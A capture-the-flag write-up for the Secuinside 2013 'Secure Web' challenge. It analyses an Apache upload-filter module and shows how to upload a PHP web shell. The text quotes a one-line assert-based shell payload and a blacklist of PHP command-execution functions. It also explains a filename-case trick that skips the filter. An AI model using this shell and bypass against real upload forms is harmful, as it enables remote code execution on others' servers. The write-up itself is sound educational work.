Writeup: Secuinside CTF 2013 - Secure Web

binary: http://war.secuinside.com/files/mod_dontwebhack.so
http://59.9.131.155:8181/
Bad, we’ve got hacked and destroyed by the evil.
So, the government distributes a web-hacking-defense module to people.
You can check it out if there is any problem inside. Please!

This challenge could have been quite interesting but I think organizer must have miss something.

They completely ignored that .pth/.phtml files may be interpretated as PHP script too.

This challenge could have been resolved simply uploading a file like the one publicated in this Tweet by FluxFingers.

Not every .pht/.phtml file could work for this challenge.
The module attached to the challenge must apply some filters.

Let’s examine why FluxFingers’ one worked:

1
<script type="text/javascript" language="pHp">// <![CDATA[<br /> print(assert($_GET[c]))<br /> // ]]></script>

First thing to do is run strings on the module:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
$ strings mod_dontwebhack.so
__gmon_start__
_init
_fini
_ITM_deregisterTMCloneTable
_ITM_registerTMCloneTable
__cxa_finalize
_Jv_RegisterClasses
dontwebhack_module
check_bad_php_string
strlen
malloc
memcpy
strstr
strtok
get_filename
ap_get_brigade
apr_bucket_type_eos
strncmp
ap_log_cerror
ap_add_input_filter
ap_register_input_filter
ap_hook_pre_connection
dontwebhack300_module
libc.so.6
_edata
__bss_start
_end
mod_dontwebhack300.so
GLIBC_2.1.3
GLIBC_2.0
passthru
fpassthru
system
execl
open
popen
escapeshellcmd
eval
proc_open
get_contents
Content-Disposition:
POST
be my guest. lol xD
mod_dontwebhack300.c
filename
DONTWEBHACK_IN
;*2$"$
22PA

This command reveal an interesting keyword blacklist:
passthru, fpassthru, system, execl, open, popen, escapeshellcmd, eval, proc_open, get_contents.

As you can see print and assert doesn’t appear in the list, this explain why FluxFingers’ choose them and let us getting closer in understanding how their exploit work.

Another key shrewdness is the uppercase H in language attribute on script tag.

Further exploration in module (explained later in this post) revealed a filter on the lowercase php string, that letter is needed to bypass the
check.

Here we are, FluxFinger’ exploit behaviour should be now clear.

To get it work we need to pass php shell-code as c argument in GET request.

But where can I find my uploaded file? The upload script source code was public and upload dir was:

1
"/var/www/uploads/" . md5($_SERVER['REMOTE_ADDR']) . "/"

We need to calculate md5sum of 59.9.131.155:8181 so:

1
2
$ echo -n "59.9.131.155:8181" | md5sum
c8270a1a28591f621d4874acf133227a -

So we need to go to:
http://59.9.131.155:8181/uploads/c8270a1a28591f621d4874acf133227a/ourUploadedFile.php

The flag was in /home/dwh/flags

Well, I started this post arguing this challenge could have been quite interesting so let’s assume .pht/.phtml files are not applicable in this
case and analyse together how to get a .php file interpreted on the server.

To do this we need to go deeper and give a closer look to the module, it’s IDA time!

Opening module with IDA we can see two very interesting functions, called check_php_bad_string and dontwehack_input_filter:

functions

Lets see what this functions contain (with HexRay Decompiler FTW!):

  • dontwebhack_input_filter:
    input-filter
  • check_bad_php_string:
    bad-php

I spent some time looking at check_php_bad_string() to find some vulnerability with no success, so I looked then in dontwebhack_input_filter.

Here I found the check for lowercase php string, and after that we find the vulnerability we need to upload our scripts.

Module search for filename attribute in POST data, and only if it find it run the check_bad_php_string, we simply need to change its case to avoid check_bad_php_string!
Moreover the check for php only sets a flag instead of interrupt immediately the execution to return the error so, changing filename case, we bypass that check too!

Understood this we only need to craft our request the way we prefer.

One way to do this is intercept Firefox’s request with TamperData plugin.
Just select your php shell to upload and before click the submit button open TamperData (Tools->Edit with TamperData) and then click Start capture.

After the click a pop-up should appear to notify the capture of the request and to make you chose if you want to edit the request, just press Tamper.

A window should now appear, on the right column you will see POST data and you should be able to manually edit it.
Change filename to FILENAME and execute the request.

You will now see the Success page and should be able to run your script.